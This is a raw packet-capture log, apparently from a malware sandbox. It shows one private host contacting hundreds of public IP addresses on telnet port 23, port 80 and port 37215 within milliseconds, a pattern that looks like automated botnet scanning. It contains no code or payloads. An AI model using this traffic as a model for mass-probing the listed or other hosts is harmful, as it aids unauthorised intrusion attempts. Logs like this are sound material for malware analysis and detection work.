Jan 5, 2025 14:26:50.631793022 CET	57214	23	192.168.2.13	222.213.247.147
Jan 5, 2025 14:26:50.631799936 CET	23	57214	186.248.23.195	192.168.2.13
Jan 5, 2025 14:26:50.631808043 CET	57214	23	192.168.2.13	85.233.20.223
Jan 5, 2025 14:26:50.631809950 CET	57214	23	192.168.2.13	154.39.233.45
Jan 5, 2025 14:26:50.631809950 CET	23	57214	59.74.10.77	192.168.2.13
Jan 5, 2025 14:26:50.631819963 CET	57214	23	192.168.2.13	186.248.23.195
Jan 5, 2025 14:26:50.631822109 CET	23	57214	168.211.65.232	192.168.2.13
Jan 5, 2025 14:26:50.631833076 CET	23	57214	65.177.39.5	192.168.2.13
Jan 5, 2025 14:26:50.631836891 CET	57214	23	192.168.2.13	59.74.10.77
Jan 5, 2025 14:26:50.631841898 CET	57214	23	192.168.2.13	168.211.65.232
Jan 5, 2025 14:26:50.631843090 CET	23	57214	149.59.73.227	192.168.2.13
Jan 5, 2025 14:26:50.631854057 CET	23	57214	96.184.247.74	192.168.2.13
Jan 5, 2025 14:26:50.631856918 CET	57214	23	192.168.2.13	65.177.39.5
Jan 5, 2025 14:26:50.631865025 CET	23	57214	188.65.142.218	192.168.2.13
Jan 5, 2025 14:26:50.631869078 CET	57214	23	192.168.2.13	149.59.73.227
Jan 5, 2025 14:26:50.631877899 CET	57214	23	192.168.2.13	96.184.247.74
Jan 5, 2025 14:26:50.631891966 CET	57214	23	192.168.2.13	188.65.142.218
Jan 5, 2025 14:26:50.631910086 CET	23	57214	97.244.188.126	192.168.2.13
Jan 5, 2025 14:26:50.631938934 CET	23	57214	51.237.1.44	192.168.2.13
Jan 5, 2025 14:26:50.631949902 CET	23	57214	175.77.29.221	192.168.2.13
Jan 5, 2025 14:26:50.631949902 CET	57214	23	192.168.2.13	97.244.188.126
Jan 5, 2025 14:26:50.631962061 CET	23	57214	131.189.136.54	192.168.2.13
Jan 5, 2025 14:26:50.631972075 CET	57214	23	192.168.2.13	51.237.1.44
Jan 5, 2025 14:26:50.631974936 CET	57214	23	192.168.2.13	175.77.29.221
Jan 5, 2025 14:26:50.631998062 CET	57214	23	192.168.2.13	131.189.136.54
Jan 5, 2025 14:26:50.632057905 CET	23	57214	48.235.248.152	192.168.2.13
Jan 5, 2025 14:26:50.632070065 CET	23	57214	58.177.55.227	192.168.2.13
Jan 5, 2025 14:26:50.632082939 CET	23	57214	41.71.254.238	192.168.2.13
Jan 5, 2025 14:26:50.632085085 CET	57214	23	192.168.2.13	48.235.248.152
Jan 5, 2025 14:26:50.632092953 CET	23	57214	188.24.189.35	192.168.2.13
Jan 5, 2025 14:26:50.632098913 CET	57214	23	192.168.2.13	58.177.55.227
Jan 5, 2025 14:26:50.632102966 CET	23	57214	110.23.9.138	192.168.2.13
Jan 5, 2025 14:26:50.632114887 CET	23	57214	110.4.248.16	192.168.2.13
Jan 5, 2025 14:26:50.632117033 CET	57214	23	192.168.2.13	41.71.254.238
Jan 5, 2025 14:26:50.632121086 CET	57214	23	192.168.2.13	188.24.189.35
Jan 5, 2025 14:26:50.632124901 CET	23	57214	191.50.54.210	192.168.2.13
Jan 5, 2025 14:26:50.632132053 CET	57214	23	192.168.2.13	110.4.248.16
Jan 5, 2025 14:26:50.632137060 CET	23	57214	190.137.7.71	192.168.2.13
Jan 5, 2025 14:26:50.632138968 CET	57214	23	192.168.2.13	110.23.9.138
Jan 5, 2025 14:26:50.632148027 CET	23	57214	97.158.73.3	192.168.2.13
Jan 5, 2025 14:26:50.632152081 CET	57214	23	192.168.2.13	191.50.54.210
Jan 5, 2025 14:26:50.632158995 CET	23	57214	150.177.238.28	192.168.2.13
Jan 5, 2025 14:26:50.632160902 CET	57214	23	192.168.2.13	190.137.7.71
Jan 5, 2025 14:26:50.632169962 CET	23	57214	38.146.94.161	192.168.2.13
Jan 5, 2025 14:26:50.632172108 CET	57214	23	192.168.2.13	97.158.73.3
Jan 5, 2025 14:26:50.632180929 CET	23	57214	113.4.133.26	192.168.2.13
Jan 5, 2025 14:26:50.632185936 CET	57214	23	192.168.2.13	150.177.238.28
Jan 5, 2025 14:26:50.632194042 CET	23	57214	201.25.15.236	192.168.2.13
Jan 5, 2025 14:26:50.632199049 CET	57214	23	192.168.2.13	38.146.94.161
Jan 5, 2025 14:26:50.632205963 CET	23	57214	89.127.50.58	192.168.2.13
Jan 5, 2025 14:26:50.632208109 CET	57214	23	192.168.2.13	113.4.133.26
Jan 5, 2025 14:26:50.632215977 CET	57214	23	192.168.2.13	201.25.15.236
Jan 5, 2025 14:26:50.632220030 CET	23	57214	2.231.151.107	192.168.2.13
Jan 5, 2025 14:26:50.632230997 CET	23	57214	207.72.207.248	192.168.2.13
Jan 5, 2025 14:26:50.632232904 CET	57214	23	192.168.2.13	89.127.50.58
Jan 5, 2025 14:26:50.632245064 CET	23	57214	173.244.217.192	192.168.2.13
Jan 5, 2025 14:26:50.632246017 CET	57214	23	192.168.2.13	2.231.151.107
Jan 5, 2025 14:26:50.632255077 CET	23	57214	146.101.195.220	192.168.2.13
Jan 5, 2025 14:26:50.632271051 CET	57214	23	192.168.2.13	207.72.207.248
Jan 5, 2025 14:26:50.632272005 CET	23	57214	172.172.13.117	192.168.2.13
Jan 5, 2025 14:26:50.632276058 CET	57214	23	192.168.2.13	173.244.217.192
Jan 5, 2025 14:26:50.632282972 CET	23	57214	131.132.97.99	192.168.2.13
Jan 5, 2025 14:26:50.632286072 CET	57214	23	192.168.2.13	146.101.195.220
Jan 5, 2025 14:26:50.632293940 CET	23	57214	65.18.24.59	192.168.2.13
Jan 5, 2025 14:26:50.632301092 CET	57214	23	192.168.2.13	172.172.13.117
Jan 5, 2025 14:26:50.632304907 CET	23	57214	52.131.112.2	192.168.2.13
Jan 5, 2025 14:26:50.632308006 CET	57214	23	192.168.2.13	131.132.97.99
Jan 5, 2025 14:26:50.632316113 CET	23	57214	34.55.157.159	192.168.2.13
Jan 5, 2025 14:26:50.632318974 CET	57214	23	192.168.2.13	65.18.24.59
Jan 5, 2025 14:26:50.632327080 CET	23	57214	166.107.36.24	192.168.2.13
Jan 5, 2025 14:26:50.632333040 CET	57214	23	192.168.2.13	52.131.112.2
Jan 5, 2025 14:26:50.632337093 CET	57214	23	192.168.2.13	34.55.157.159
Jan 5, 2025 14:26:50.632360935 CET	57214	23	192.168.2.13	166.107.36.24
Jan 5, 2025 14:26:50.632373095 CET	23	57214	24.119.91.168	192.168.2.13
Jan 5, 2025 14:26:50.632384062 CET	23	57214	120.122.162.56	192.168.2.13
Jan 5, 2025 14:26:50.632394075 CET	23	57214	12.228.60.6	192.168.2.13
Jan 5, 2025 14:26:50.632407904 CET	57214	23	192.168.2.13	24.119.91.168
Jan 5, 2025 14:26:50.632414103 CET	23	57214	100.155.58.4	192.168.2.13
Jan 5, 2025 14:26:50.632416010 CET	57214	23	192.168.2.13	120.122.162.56
Jan 5, 2025 14:26:50.632416964 CET	57214	23	192.168.2.13	12.228.60.6
Jan 5, 2025 14:26:50.632425070 CET	23	57214	164.86.109.100	192.168.2.13
Jan 5, 2025 14:26:50.632436037 CET	23	57214	197.128.224.118	192.168.2.13
Jan 5, 2025 14:26:50.632441998 CET	57214	23	192.168.2.13	100.155.58.4
Jan 5, 2025 14:26:50.632447004 CET	23	57214	1.149.87.165	192.168.2.13
Jan 5, 2025 14:26:50.632451057 CET	57214	23	192.168.2.13	164.86.109.100
Jan 5, 2025 14:26:50.632457972 CET	23	57214	48.3.252.68	192.168.2.13
Jan 5, 2025 14:26:50.632462025 CET	57214	23	192.168.2.13	197.128.224.118
Jan 5, 2025 14:26:50.632471085 CET	23	57214	205.14.167.148	192.168.2.13
Jan 5, 2025 14:26:50.632472038 CET	57214	23	192.168.2.13	1.149.87.165
Jan 5, 2025 14:26:50.632482052 CET	23	57214	167.191.90.62	192.168.2.13
Jan 5, 2025 14:26:50.632486105 CET	57214	23	192.168.2.13	48.3.252.68
Jan 5, 2025 14:26:50.632493019 CET	23	57214	187.33.34.190	192.168.2.13
Jan 5, 2025 14:26:50.632498980 CET	57214	23	192.168.2.13	205.14.167.148
Jan 5, 2025 14:26:50.632503986 CET	23	57214	205.76.155.145	192.168.2.13
Jan 5, 2025 14:26:50.632505894 CET	57214	23	192.168.2.13	167.191.90.62
Jan 5, 2025 14:26:50.632514954 CET	23	57214	180.214.136.208	192.168.2.13
Jan 5, 2025 14:26:50.632523060 CET	57214	23	192.168.2.13	187.33.34.190
Jan 5, 2025 14:26:50.632524014 CET	23	57214	174.31.45.121	192.168.2.13
Jan 5, 2025 14:26:50.632529020 CET	57214	23	192.168.2.13	205.76.155.145
Jan 5, 2025 14:26:50.632535934 CET	23	57214	155.141.209.243	192.168.2.13
Jan 5, 2025 14:26:50.632540941 CET	57214	23	192.168.2.13	180.214.136.208
Jan 5, 2025 14:26:50.632546902 CET	23	57214	145.125.59.194	192.168.2.13
Jan 5, 2025 14:26:50.632553101 CET	57214	23	192.168.2.13	174.31.45.121
Jan 5, 2025 14:26:50.632561922 CET	57214	23	192.168.2.13	155.141.209.243
Jan 5, 2025 14:26:50.632570982 CET	23	57214	160.212.103.14	192.168.2.13
Jan 5, 2025 14:26:50.632580042 CET	57214	23	192.168.2.13	145.125.59.194
Jan 5, 2025 14:26:50.632582903 CET	23	57214	41.76.7.222	192.168.2.13
Jan 5, 2025 14:26:50.632596016 CET	23	57214	124.240.89.22	192.168.2.13
Jan 5, 2025 14:26:50.632606983 CET	80	56958	142.139.46.107	192.168.2.13
Jan 5, 2025 14:26:50.632607937 CET	57214	23	192.168.2.13	160.212.103.14
Jan 5, 2025 14:26:50.632611990 CET	57214	23	192.168.2.13	41.76.7.222
Jan 5, 2025 14:26:50.632618904 CET	80	56958	91.189.157.107	192.168.2.13
Jan 5, 2025 14:26:50.632620096 CET	57214	23	192.168.2.13	124.240.89.22
Jan 5, 2025 14:26:50.632628918 CET	80	56958	147.247.224.172	192.168.2.13
Jan 5, 2025 14:26:50.632635117 CET	56958	80	192.168.2.13	142.139.46.107
Jan 5, 2025 14:26:50.632641077 CET	80	56958	9.233.82.106	192.168.2.13
Jan 5, 2025 14:26:50.632651091 CET	56958	80	192.168.2.13	91.189.157.107
Jan 5, 2025 14:26:50.632651091 CET	56958	80	192.168.2.13	147.247.224.172
Jan 5, 2025 14:26:50.632652998 CET	80	56958	176.216.180.25	192.168.2.13
Jan 5, 2025 14:26:50.632663965 CET	37215	56446	197.155.46.107	192.168.2.13
Jan 5, 2025 14:26:50.632668018 CET	56958	80	192.168.2.13	9.233.82.106
Jan 5, 2025 14:26:50.632674932 CET	37215	56446	156.231.96.172	192.168.2.13
Jan 5, 2025 14:26:50.632684946 CET	37215	56446	197.173.157.107	192.168.2.13
Jan 5, 2025 14:26:50.632684946 CET	56958	80	192.168.2.13	176.216.180.25
Jan 5, 2025 14:26:50.632689953 CET	56446	37215	192.168.2.13	197.155.46.107
Jan 5, 2025 14:26:50.632704973 CET	56446	37215	192.168.2.13	156.231.96.172
Jan 5, 2025 14:26:50.632716894 CET	56446	37215	192.168.2.13	197.173.157.107
Jan 5, 2025 14:26:50.632831097 CET	80	56958	41.21.54.23	192.168.2.13
Jan 5, 2025 14:26:50.632842064 CET	80	56958	184.95.254.5	192.168.2.13
Jan 5, 2025 14:26:50.632854939 CET	80	56958	153.181.238.197	192.168.2.13
Jan 5, 2025 14:26:50.632862091 CET	56958	80	192.168.2.13	41.21.54.23
Jan 5, 2025 14:26:50.632864952 CET	80	56958	9.132.155.25	192.168.2.13
Jan 5, 2025 14:26:50.632869005 CET	56958	80	192.168.2.13	184.95.254.5
Jan 5, 2025 14:26:50.632874966 CET	80	56958	117.121.118.197	192.168.2.13
Jan 5, 2025 14:26:50.632885933 CET	80	56958	89.199.27.11	192.168.2.13
Jan 5, 2025 14:26:50.632884979 CET	56958	80	192.168.2.13	153.181.238.197
Jan 5, 2025 14:26:50.632889032 CET	56958	80	192.168.2.13	9.132.155.25
Jan 5, 2025 14:26:50.632896900 CET	80	56958	210.128.137.57	192.168.2.13
Jan 5, 2025 14:26:50.632903099 CET	56958	80	192.168.2.13	117.121.118.197
Jan 5, 2025 14:26:50.632908106 CET	56958	80	192.168.2.13	89.199.27.11
Jan 5, 2025 14:26:50.632908106 CET	80	56958	117.155.220.228	192.168.2.13
Jan 5, 2025 14:26:50.632919073 CET	56958	80	192.168.2.13	210.128.137.57
Jan 5, 2025 14:26:50.632920027 CET	80	56958	105.133.213.246	192.168.2.13
Jan 5, 2025 14:26:50.632930994 CET	80	56958	185.153.2.192	192.168.2.13
Jan 5, 2025 14:26:50.632945061 CET	80	56958	174.253.1.237	192.168.2.13
Jan 5, 2025 14:26:50.632951975 CET	56958	80	192.168.2.13	117.155.220.228
Jan 5, 2025 14:26:50.632956028 CET	80	56958	92.153.93.212	192.168.2.13
Jan 5, 2025 14:26:50.632957935 CET	56958	80	192.168.2.13	105.133.213.246
Jan 5, 2025 14:26:50.632971048 CET	56958	80	192.168.2.13	185.153.2.192
Jan 5, 2025 14:26:50.632977009 CET	80	56958	150.161.168.175	192.168.2.13
Jan 5, 2025 14:26:50.632981062 CET	56958	80	192.168.2.13	174.253.1.237
Jan 5, 2025 14:26:50.632987976 CET	80	56958	200.238.217.220	192.168.2.13
Jan 5, 2025 14:26:50.632998943 CET	80	56958	168.43.45.98	192.168.2.13
Jan 5, 2025 14:26:50.633004904 CET	56958	80	192.168.2.13	92.153.93.212
Jan 5, 2025 14:26:50.633007050 CET	56958	80	192.168.2.13	150.161.168.175
Jan 5, 2025 14:26:50.633011103 CET	80	56958	117.34.205.198	192.168.2.13
Jan 5, 2025 14:26:50.633022070 CET	80	56958	135.84.248.53	192.168.2.13
Jan 5, 2025 14:26:50.633024931 CET	56958	80	192.168.2.13	168.43.45.98
Jan 5, 2025 14:26:50.633032084 CET	56958	80	192.168.2.13	200.238.217.220
Jan 5, 2025 14:26:50.633034945 CET	56958	80	192.168.2.13	117.34.205.198
Jan 5, 2025 14:26:50.633043051 CET	80	56958	169.14.43.37	192.168.2.13
Jan 5, 2025 14:26:50.633049011 CET	56958	80	192.168.2.13	135.84.248.53
Jan 5, 2025 14:26:50.633054018 CET	80	56958	149.57.209.174	192.168.2.13
Jan 5, 2025 14:26:50.633064985 CET	80	56958	162.21.99.246	192.168.2.13
Jan 5, 2025 14:26:50.633068085 CET	56958	80	192.168.2.13	169.14.43.37
Jan 5, 2025 14:26:50.633075953 CET	80	56958	178.47.129.0	192.168.2.13
Jan 5, 2025 14:26:50.633075953 CET	56958	80	192.168.2.13	149.57.209.174
Jan 5, 2025 14:26:50.633086920 CET	80	56958	153.248.170.70	192.168.2.13
Jan 5, 2025 14:26:50.633095026 CET	56958	80	192.168.2.13	162.21.99.246
Jan 5, 2025 14:26:50.633096933 CET	80	56958	207.77.248.35	192.168.2.13
Jan 5, 2025 14:26:50.633104086 CET	56958	80	192.168.2.13	178.47.129.0
Jan 5, 2025 14:26:50.633109093 CET	80	56958	191.160.9.212	192.168.2.13
Jan 5, 2025 14:26:50.633114100 CET	56958	80	192.168.2.13	153.248.170.70
Jan 5, 2025 14:26:50.633121967 CET	80	56958	9.2.35.146	192.168.2.13
Jan 5, 2025 14:26:50.633131027 CET	56958	80	192.168.2.13	207.77.248.35
Jan 5, 2025 14:26:50.633131981 CET	80	56958	142.222.151.93	192.168.2.13
Jan 5, 2025 14:26:50.633133888 CET	56958	80	192.168.2.13	191.160.9.212
Jan 5, 2025 14:26:50.633143902 CET	80	56958	48.240.61.28	192.168.2.13
Jan 5, 2025 14:26:50.633150101 CET	56958	80	192.168.2.13	9.2.35.146
Jan 5, 2025 14:26:50.633156061 CET	80	56958	43.104.248.47	192.168.2.13
Jan 5, 2025 14:26:50.633166075 CET	56958	80	192.168.2.13	142.222.151.93
Jan 5, 2025 14:26:50.633166075 CET	56958	80	192.168.2.13	48.240.61.28
Jan 5, 2025 14:26:50.633177996 CET	80	56958	211.9.69.124	192.168.2.13
Jan 5, 2025 14:26:50.633186102 CET	56958	80	192.168.2.13	43.104.248.47
Jan 5, 2025 14:26:50.633189917 CET	80	56958	184.237.170.20	192.168.2.13
Jan 5, 2025 14:26:50.633200884 CET	80	56958	102.182.231.252	192.168.2.13
Jan 5, 2025 14:26:50.633204937 CET	56958	80	192.168.2.13	211.9.69.124
Jan 5, 2025 14:26:50.633213043 CET	80	56958	52.20.130.84	192.168.2.13
Jan 5, 2025 14:26:50.633214951 CET	56958	80	192.168.2.13	184.237.170.20
Jan 5, 2025 14:26:50.633224010 CET	80	56958	32.149.175.177	192.168.2.13
Jan 5, 2025 14:26:50.633235931 CET	80	56958	20.162.242.173	192.168.2.13
Jan 5, 2025 14:26:50.633235931 CET	56958	80	192.168.2.13	102.182.231.252
Jan 5, 2025 14:26:50.633239985 CET	56958	80	192.168.2.13	52.20.130.84
Jan 5, 2025 14:26:50.633246899 CET	80	56958	223.219.164.213	192.168.2.13
Jan 5, 2025 14:26:50.633251905 CET	56958	80	192.168.2.13	32.149.175.177
Jan 5, 2025 14:26:50.633259058 CET	80	56958	12.71.139.194	192.168.2.13
Jan 5, 2025 14:26:50.633263111 CET	56958	80	192.168.2.13	20.162.242.173
Jan 5, 2025 14:26:50.633270025 CET	80	56958	193.167.226.234	192.168.2.13
Jan 5, 2025 14:26:50.633270979 CET	56958	80	192.168.2.13	223.219.164.213
Jan 5, 2025 14:26:50.633280993 CET	80	56958	158.107.44.83	192.168.2.13
Jan 5, 2025 14:26:50.633286953 CET	56958	80	192.168.2.13	12.71.139.194
Jan 5, 2025 14:26:50.633292913 CET	80	56958	201.149.213.15	192.168.2.13
Jan 5, 2025 14:26:50.633296013 CET	56958	80	192.168.2.13	193.167.226.234
Jan 5, 2025 14:26:50.633304119 CET	80	56958	23.249.20.209	192.168.2.13
Jan 5, 2025 14:26:50.633308887 CET	56958	80	192.168.2.13	158.107.44.83
Jan 5, 2025 14:26:50.633316040 CET	80	56958	52.126.193.22	192.168.2.13
Jan 5, 2025 14:26:50.633316040 CET	56958	80	192.168.2.13	201.149.213.15
Jan 5, 2025 14:26:50.633335114 CET	56958	80	192.168.2.13	23.249.20.209
Jan 5, 2025 14:26:50.633337021 CET	80	56958	70.33.163.62	192.168.2.13
Jan 5, 2025 14:26:50.633347034 CET	56958	80	192.168.2.13	52.126.193.22
Jan 5, 2025 14:26:50.633347988 CET	80	56958	67.173.61.93	192.168.2.13
Jan 5, 2025 14:26:50.633359909 CET	80	56958	142.187.7.47	192.168.2.13
Jan 5, 2025 14:26:50.633371115 CET	56958	80	192.168.2.13	70.33.163.62
Jan 5, 2025 14:26:50.633371115 CET	80	56958	71.122.78.13	192.168.2.13
Jan 5, 2025 14:26:50.633378029 CET	56958	80	192.168.2.13	67.173.61.93
Jan 5, 2025 14:26:50.633382082 CET	80	56958	20.97.142.228	192.168.2.13
Jan 5, 2025 14:26:50.633393049 CET	80	56958	158.223.76.107	192.168.2.13
Jan 5, 2025 14:26:50.633393049 CET	56958	80	192.168.2.13	142.187.7.47
Jan 5, 2025 14:26:50.633404016 CET	56958	80	192.168.2.13	71.122.78.13
Jan 5, 2025 14:26:50.633403063 CET	80	56958	23.244.6.214	192.168.2.13
Jan 5, 2025 14:26:50.633414984 CET	80	56958	149.83.20.55	192.168.2.13
Jan 5, 2025 14:26:50.633415937 CET	56958	80	192.168.2.13	158.223.76.107
Jan 5, 2025 14:26:50.633416891 CET	56958	80	192.168.2.13	20.97.142.228
Jan 5, 2025 14:26:50.633426905 CET	80	56958	19.213.103.42	192.168.2.13
Jan 5, 2025 14:26:50.633429050 CET	56958	80	192.168.2.13	23.244.6.214
Jan 5, 2025 14:26:50.633438110 CET	80	56958	136.127.115.141	192.168.2.13
Jan 5, 2025 14:26:50.633440018 CET	56958	80	192.168.2.13	149.83.20.55
Jan 5, 2025 14:26:50.633449078 CET	80	56958	44.238.230.190	192.168.2.13
Jan 5, 2025 14:26:50.633455992 CET	56958	80	192.168.2.13	19.213.103.42
Jan 5, 2025 14:26:50.633460045 CET	80	56958	57.216.213.59	192.168.2.13
Jan 5, 2025 14:26:50.633464098 CET	56958	80	192.168.2.13	136.127.115.141
Jan 5, 2025 14:26:50.633471012 CET	80	56958	91.90.77.243	192.168.2.13
Jan 5, 2025 14:26:50.633477926 CET	56958	80	192.168.2.13	44.238.230.190
Jan 5, 2025 14:26:50.633481979 CET	80	56958	4.171.182.22	192.168.2.13
Jan 5, 2025 14:26:50.633492947 CET	80	56958	184.240.71.168	192.168.2.13
Jan 5, 2025 14:26:50.633496046 CET	56958	80	192.168.2.13	91.90.77.243
Jan 5, 2025 14:26:50.633497953 CET	56958	80	192.168.2.13	57.216.213.59
Jan 5, 2025 14:26:50.633511066 CET	56958	80	192.168.2.13	4.171.182.22
Jan 5, 2025 14:26:50.633513927 CET	80	56958	46.97.173.3	192.168.2.13
Jan 5, 2025 14:26:50.633517027 CET	56958	80	192.168.2.13	184.240.71.168
Jan 5, 2025 14:26:50.633526087 CET	80	56958	73.230.32.170	192.168.2.13
Jan 5, 2025 14:26:50.633538008 CET	80	56958	18.225.77.146	192.168.2.13
Jan 5, 2025 14:26:50.633546114 CET	56958	80	192.168.2.13	46.97.173.3
Jan 5, 2025 14:26:50.633548021 CET	56958	80	192.168.2.13	73.230.32.170
Jan 5, 2025 14:26:50.633548021 CET	80	56958	103.241.237.90	192.168.2.13
Jan 5, 2025 14:26:50.633560896 CET	80	56958	223.162.127.87	192.168.2.13
Jan 5, 2025 14:26:50.633568048 CET	56958	80	192.168.2.13	18.225.77.146
Jan 5, 2025 14:26:50.633574009 CET	80	56958	166.145.13.59	192.168.2.13
Jan 5, 2025 14:26:50.633579969 CET	56958	80	192.168.2.13	103.241.237.90
Jan 5, 2025 14:26:50.633584976 CET	80	56958	173.203.128.7	192.168.2.13
Jan 5, 2025 14:26:50.633589983 CET	56958	80	192.168.2.13	223.162.127.87
Jan 5, 2025 14:26:50.633595943 CET	80	56958	158.130.196.32	192.168.2.13
Jan 5, 2025 14:26:50.633606911 CET	80	56958	118.145.185.147	192.168.2.13
Jan 5, 2025 14:26:50.633609056 CET	56958	80	192.168.2.13	166.145.13.59
Jan 5, 2025 14:26:50.633615017 CET	56958	80	192.168.2.13	173.203.128.7
Jan 5, 2025 14:26:50.633619070 CET	80	56958	91.66.10.40	192.168.2.13
Jan 5, 2025 14:26:50.633625031 CET	56958	80	192.168.2.13	158.130.196.32
Jan 5, 2025 14:26:50.633630991 CET	80	56958	73.64.225.97	192.168.2.13
Jan 5, 2025 14:26:50.633630037 CET	56958	80	192.168.2.13	118.145.185.147
Jan 5, 2025 14:26:50.633641958 CET	80	56958	207.156.66.189	192.168.2.13
Jan 5, 2025 14:26:50.633642912 CET	56958	80	192.168.2.13	91.66.10.40
Jan 5, 2025 14:26:50.633651972 CET	80	56958	140.99.38.143	192.168.2.13
Jan 5, 2025 14:26:50.633660078 CET	56958	80	192.168.2.13	73.64.225.97
Jan 5, 2025 14:26:50.633665085 CET	80	56958	198.250.67.211	192.168.2.13
Jan 5, 2025 14:26:50.633671045 CET	56958	80	192.168.2.13	207.156.66.189
Jan 5, 2025 14:26:50.633677006 CET	80	56958	210.26.15.220	192.168.2.13
Jan 5, 2025 14:26:50.633680105 CET	56958	80	192.168.2.13	140.99.38.143
Jan 5, 2025 14:26:50.633687973 CET	56958	80	192.168.2.13	198.250.67.211
Jan 5, 2025 14:26:50.633688927 CET	80	56958	165.130.66.74	192.168.2.13
Jan 5, 2025 14:26:50.633702040 CET	80	56958	182.174.204.196	192.168.2.13
Jan 5, 2025 14:26:50.633708000 CET	56958	80	192.168.2.13	210.26.15.220
Jan 5, 2025 14:26:50.633713007 CET	80	56958	134.127.138.70	192.168.2.13
Jan 5, 2025 14:26:50.633721113 CET	56958	80	192.168.2.13	165.130.66.74
Jan 5, 2025 14:26:50.633723021 CET	80	56958	37.183.60.194	192.168.2.13
Jan 5, 2025 14:26:50.633723974 CET	56958	80	192.168.2.13	182.174.204.196
Jan 5, 2025 14:26:50.633734941 CET	80	56958	199.209.141.4	192.168.2.13
Jan 5, 2025 14:26:50.633743048 CET	56958	80	192.168.2.13	134.127.138.70
Jan 5, 2025 14:26:50.633750916 CET	56958	80	192.168.2.13	37.183.60.194
Jan 5, 2025 14:26:50.633754969 CET	80	56958	106.3.68.87	192.168.2.13
Jan 5, 2025 14:26:50.633755922 CET	56958	80	192.168.2.13	199.209.141.4
Jan 5, 2025 14:26:50.633766890 CET	80	56958	192.169.154.69	192.168.2.13
Jan 5, 2025 14:26:50.633776903 CET	80	56958	190.1.35.82	192.168.2.13
Jan 5, 2025 14:26:50.633778095 CET	56958	80	192.168.2.13	106.3.68.87
Jan 5, 2025 14:26:50.633788109 CET	80	56958	64.229.12.69	192.168.2.13
Jan 5, 2025 14:26:50.633790970 CET	56958	80	192.168.2.13	192.169.154.69
Jan 5, 2025 14:26:50.633797884 CET	80	56958	149.242.215.247	192.168.2.13
Jan 5, 2025 14:26:50.633810997 CET	80	56958	188.74.19.33	192.168.2.13
Jan 5, 2025 14:26:50.633811951 CET	56958	80	192.168.2.13	190.1.35.82
Jan 5, 2025 14:26:50.633816004 CET	56958	80	192.168.2.13	64.229.12.69
Jan 5, 2025 14:26:50.633822918 CET	80	56958	77.170.185.144	192.168.2.13
Jan 5, 2025 14:26:50.633829117 CET	56958	80	192.168.2.13	149.242.215.247
Jan 5, 2025 14:26:50.633832932 CET	80	56958	118.194.250.204	192.168.2.13
Jan 5, 2025 14:26:50.633846998 CET	56958	80	192.168.2.13	188.74.19.33
Jan 5, 2025 14:26:50.633847952 CET	56958	80	192.168.2.13	77.170.185.144
Jan 5, 2025 14:26:50.633862972 CET	56958	80	192.168.2.13	118.194.250.204
Jan 5, 2025 14:26:50.633914948 CET	80	56958	100.224.226.61	192.168.2.13
Jan 5, 2025 14:26:50.633925915 CET	80	56958	42.2.202.141	192.168.2.13
Jan 5, 2025 14:26:50.633936882 CET	80	56958	102.240.102.97	192.168.2.13
Jan 5, 2025 14:26:50.633944035 CET	56958	80	192.168.2.13	100.224.226.61
Jan 5, 2025 14:26:50.633946896 CET	80	56958	115.113.243.186	192.168.2.13
Jan 5, 2025 14:26:50.633955002 CET	56958	80	192.168.2.13	42.2.202.141
Jan 5, 2025 14:26:50.633959055 CET	80	56958	194.61.81.17	192.168.2.13
Jan 5, 2025 14:26:50.633964062 CET	56958	80	192.168.2.13	102.240.102.97
Jan 5, 2025 14:26:50.633972883 CET	80	56958	69.167.140.32	192.168.2.13
Jan 5, 2025 14:26:50.633975029 CET	56958	80	192.168.2.13	115.113.243.186
Jan 5, 2025 14:26:50.633984089 CET	80	56958	124.110.16.34	192.168.2.13
Jan 5, 2025 14:26:50.633985996 CET	56958	80	192.168.2.13	194.61.81.17
Jan 5, 2025 14:26:50.633995056 CET	80	56958	84.15.86.20	192.168.2.13
Jan 5, 2025 14:26:50.634005070 CET	56958	80	192.168.2.13	69.167.140.32
Jan 5, 2025 14:26:50.634008884 CET	80	56958	72.160.53.65	192.168.2.13
Jan 5, 2025 14:26:50.634011984 CET	56958	80	192.168.2.13	124.110.16.34
Jan 5, 2025 14:26:50.634021044 CET	80	56958	80.168.120.206	192.168.2.13
Jan 5, 2025 14:26:50.634023905 CET	56958	80	192.168.2.13	84.15.86.20
Jan 5, 2025 14:26:50.634032965 CET	80	56958	70.206.160.254	192.168.2.13
Jan 5, 2025 14:26:50.634037971 CET	56958	80	192.168.2.13	72.160.53.65
Jan 5, 2025 14:26:50.634043932 CET	80	56958	183.188.138.232	192.168.2.13
Jan 5, 2025 14:26:50.634052992 CET	56958	80	192.168.2.13	80.168.120.206
Jan 5, 2025 14:26:50.634054899 CET	80	56958	149.106.196.161	192.168.2.13
Jan 5, 2025 14:26:50.634059906 CET	56958	80	192.168.2.13	70.206.160.254
Jan 5, 2025 14:26:50.634068012 CET	80	56958	142.107.113.94	192.168.2.13
Jan 5, 2025 14:26:50.634078026 CET	56958	80	192.168.2.13	183.188.138.232
Jan 5, 2025 14:26:50.634078979 CET	80	56958	103.10.109.124	192.168.2.13
Jan 5, 2025 14:26:50.634084940 CET	56958	80	192.168.2.13	149.106.196.161
Jan 5, 2025 14:26:50.634090900 CET	80	56958	80.235.139.78	192.168.2.13
Jan 5, 2025 14:26:50.634102106 CET	80	56958	86.60.228.82	192.168.2.13
Jan 5, 2025 14:26:50.634104967 CET	56958	80	192.168.2.13	142.107.113.94
Jan 5, 2025 14:26:50.634105921 CET	56958	80	192.168.2.13	103.10.109.124
Jan 5, 2025 14:26:50.634113073 CET	80	56958	172.238.60.254	192.168.2.13
Jan 5, 2025 14:26:50.634125948 CET	80	56958	190.183.214.22	192.168.2.13
Jan 5, 2025 14:26:50.634125948 CET	56958	80	192.168.2.13	80.235.139.78
Jan 5, 2025 14:26:50.634125948 CET	56958	80	192.168.2.13	86.60.228.82
Jan 5, 2025 14:26:50.634135962 CET	80	56958	87.239.224.115	192.168.2.13
Jan 5, 2025 14:26:50.634139061 CET	56958	80	192.168.2.13	172.238.60.254
Jan 5, 2025 14:26:50.634146929 CET	80	56958	116.194.119.26	192.168.2.13
Jan 5, 2025 14:26:50.634147882 CET	56958	80	192.168.2.13	190.183.214.22
Jan 5, 2025 14:26:50.634157896 CET	80	56958	192.184.8.235	192.168.2.13
Jan 5, 2025 14:26:50.634161949 CET	56958	80	192.168.2.13	87.239.224.115
Jan 5, 2025 14:26:50.634167910 CET	80	56958	36.3.149.9	192.168.2.13
Jan 5, 2025 14:26:50.634175062 CET	56958	80	192.168.2.13	116.194.119.26
Jan 5, 2025 14:26:50.634179115 CET	80	56958	136.143.8.217	192.168.2.13
